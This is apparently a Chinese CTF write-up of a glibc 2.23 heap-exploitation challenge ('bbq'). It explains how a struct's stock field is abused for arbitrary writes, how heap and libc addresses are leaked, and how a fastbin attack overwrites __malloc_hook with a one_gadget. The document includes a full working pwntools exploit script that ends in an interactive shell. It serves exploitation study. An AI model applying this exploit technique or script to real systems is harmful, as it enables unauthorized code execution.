堆风水/结构利用
堆风水主要的漏洞点有两个
主要的难点是他的输入采用了
strcmp
: \x00截断fgets
长度0x40: 长度比较短,只能一点一点来,而且防止简单地泄漏。其中主要有2个结构体
struct A{
struct A* pre;//单向链表状
int stock;//库存量
char * name;//食材名字
}
struct food{
struct A* raw;//指向食材
int state;//表示被烤的程度,如果程度达到8且在烤架0-5上就会被烤成炭(无法吃-free)
unsigned long long flag; //0xdeadbeef11 表示可以free
}
其中的操作主要由4个(其中4是我杜撰的…)
stock
,如果是已有的食材那么新加的stock
会加到原有的stock
上(不要忽视这一点…)signed int
),食材必须在以经入链,上烤架之后会减少库存1.free
任意地址(满足的条件是*(ptr+0x10)=0xdeadbeef11
)ptr
可以使用1操作creat("A"*0x28+p64(ptr),0)
来实现通过以上操作的各种组合我们可以得到以下比较容易想到的操作组合
(后文我将操作一称为creat
,操作二称为add
,操作3称为free
)
0x20
的chunk
之后free
的方式让堆内存更清晰(我个人感觉如此)
```python
creat(“n132”,0x666)
add(“n132”,21)
add(“n132”,22)
add(“n132”,23)
add(“n132”,24)free(21) creat(“something”,1)
2. 构造任意`size`的`fake_chunk`(通过这样的方式我们可以构造出`unsorted bin`)
```python
free(21)
add("A"*8+'\x31',1)
free(22)
add(p64(0xdeadbeef11),1)
...#some options to set the head of the next chunk
creat("A"*0x28+p64(heap+offset),0)
free(-1)
实现之前我们最好先通过partial-write
来获得heap
地址,操作和上述的方法类似
通过2我们可以实现overlap,但是又一个问题就是,本题中我们直接overlap
来完成unsorted-bin-attack
有个无法解决的问题就是
我们写入heap的数据会被\x00
和\x0a
截断所以我们无法同时设置head
和bk
所以得绕一下.
本题保护全开/2.23环境所以我们比较常见的方法是控制 stack 返回地址
,完成house of orange
或者类似的对vtable
的攻击,控制__malloc_hook
我的思路有点歪…我首先认为__malloc_hook
没法控制因为我们无法malloc
一个0x70大小的chunk
所以走不了那条路我就想着先试试控制stack
其上我们可以随意输入构造.
思路1是这样的
stack
上构造一个fake_chunk
free掉之后控制返回地址…比预想的难度要打多次尝试失败后我准备换条路走打算试试orange
之类控制vtable
的但是发现比前面那个更麻烦,用了超级多的时间 而且在摸索中发现了这题比较麻烦的点是找到一个可以用的head
…所以我感觉每条路都走不通了…但是题目是有人做出来的…所以应该有我不知道的信息…
我仔细想了想这题用到的函数我都是比较熟悉的唯一可能我不知道或者没有意识到的事情应该是有更深层次的组合操作…
想了半天终于想到了…就是我们其实还有有一个域可以由我们控制(stock
)
creat("n132",0x666)
通过设置买入的个数来控制虽然看起来没啥用,但是,我们可以把一些我们想要控制的地址入链(唯一条件是name
字段指向区域可读),之后creat("name",stock)
就可以增加原来的值.(有个需要注意的点是stock
4字节所以想要用来做head
得选个高4字节没东西的.)
于是我把目光转向了__malloc_hook
此次调试一番就成了具体过程如下.
接下来还有个小难点就是如何实现fastbin-atk
前面我也说过在不关注stoke
的情况下我尝试了各种办法都没有实现fastbin-atk
但是如果想到了stock
这点就会变得比较简单
前面我们可以造成overlap
所以我们可以将任意伪造的食材chunk
链入食材chain
这样我们当于可以利用增加伪造的食材chunk
的stock
来达到控制任意4字节的区域.显然单单4字节最多实现的是控制head
但是假若其位置以经有了数据例如地址那么我们就可以实现任意地址改写.于是我的想法就是通过free
构造以下情况
0x0000000000000000 fastbin[0]
fastbin[1] 0x0000000000000000
这样我们可以将上述地址链入食材chain
这样我们可以添加fastbin[1]
所指向的食物来完成fastbin[0]的任意写向从而完成fastbin-attack
!
继而控制___malloc_hook
拿到shell.
本题的精髓所在即利用stock
域来完成设置head
和任意地址写,这是十分有意义,做题思路要灵活,结构体中的每一部分都是或许可以利用的。
exp写的比较可能让人看不懂,我写一步看一步…后期也懒得改了.
from pwn import *
def cmd(c):
p.sendlineafter(": ",str(c))
def creat(name,num):
cmd(1)
p.sendlineafter(">> ",name)
p.sendlineafter(">> ",str(num))
def add(name,idx):
cmd(2)
p.sendlineafter(">> ",name)
p.sendlineafter(">> ",str(idx))
def free(idx):
cmd(3)
p.sendlineafter(">> ",str(idx))
context.arch='amd64'
p=process("./bbq")
#p=remote("buuoj.cn",28379)
creat("n132",0x999)
creat("n"*0x27,0x100)
creat("A"*0x10+p64(0xDEADBEEF11),0x100)
add("n132",0)
free(0)
add("n132",6)
add("n132",7)
add("n132",8)
add("n132",9)
add("n132",10)
free(6)
creat("A"*0x27,0)
free(-1)
cmd(1)
p.readuntil("* ")
heap=u64(p.readuntil(" ")[:-1]+"\0\0")-0x110
p.sendlineafter(">> ","A"*0x18+p64(0x91)[:-1])
p.sendlineafter(">> ",str(1))
creat(p64(0xdeadbeef11),1)
free(7)
creat("b"*0x38,1)
free(8)
creat("c"*8+'\x21',1)
free(9)
creat("d"*8+'\x21',1)
creat("A"*0x28+p64(heap+0x1e0),0)
free(-1)
free(10)
creat("d"*0x18,1)
cmd(1)
p.readuntil("* ")
p.readuntil("* ")
p.readuntil("* ")
p.readuntil("* ")
base=u64(p.readuntil("\x20")[:-1]+"\0\0")-(0x7ffff7dd1b78-0x7ffff7a0d000)
p.sendlineafter(">> ","T"*0x30)
p.sendlineafter(">> ","1")
# let do hack
Aim=0x555555756005
add("n132",10)
add("n132",11)
add("n132",12)
add("n132",13)
add("n132",14)
add("n132",15)
add("n132",16)
add("n132",17)
add("n132",18)
add("n132",19)
add("n132",20)
context.log_level='debug'
free(10)
creat("1"*0x8+'\x41',1)
free(11)
creat(p64(0xdeadbeef11),1)
creat("132",0x21)
creat("A"*0x28+p64(heap+0x410),0)
free(-1)
free(12)
creat("A"*0x30+p64(0x7ffff7dd1af0-0x7ffff7a0d000+base)[:-1],'1')
specific_name=p64(0x4853f48949555441)+p64(0x33e313058b10ec83)
creat(specific_name,str(0x21))
creat("n132",0x666)
add("n132",21)
add("n132",22)
add("n132",23)
add("n132",24)
add("n132",25)
add("n132",26)
add("n132",27)
add("n132",28)
add("n132",29)
add("n132",30)
#creat fastbin[0](0x30)
free(13)
creat("A"*8+'\x31',1)
free(14)
creat(p64(0xdeadbeef11),1)
creat("A"*0x28+p64(heap+0x610),0)
free(-1)
free(15)
creat("Y"*8+'\xa1',1)
free(16)
creat(p64(0xdeadbeef11),1)
creat("Y"*0x38+"\x01",1)
free(17)
creat("z"*0x8,1)
free(19)
creat(p64(0x7ffff7dd1af0-0x7ffff7a0d000+base),1)
creat("A"*0x28+p64(heap+0x650),0)
free(-1)
free(18)
creat("x"*0x30+p64(0x7ffff7dd1b20-0x7ffff7a0d000+base)[:-2],1)
free(30)
creat("A"*8+'\x31',0x130)
one=0x4526a+base
creat("YYYYYYup"*2+p64(one),1)
log.warning(hex(heap))
log.warning(hex(base))
#gdb.attach(p,'b *{}'.format(hex(one)))
add("z"*8+p64(0),1)#rsp+0x30=0
p.interactive()
挺有意义的一题,拓宽了漏洞利用的思路.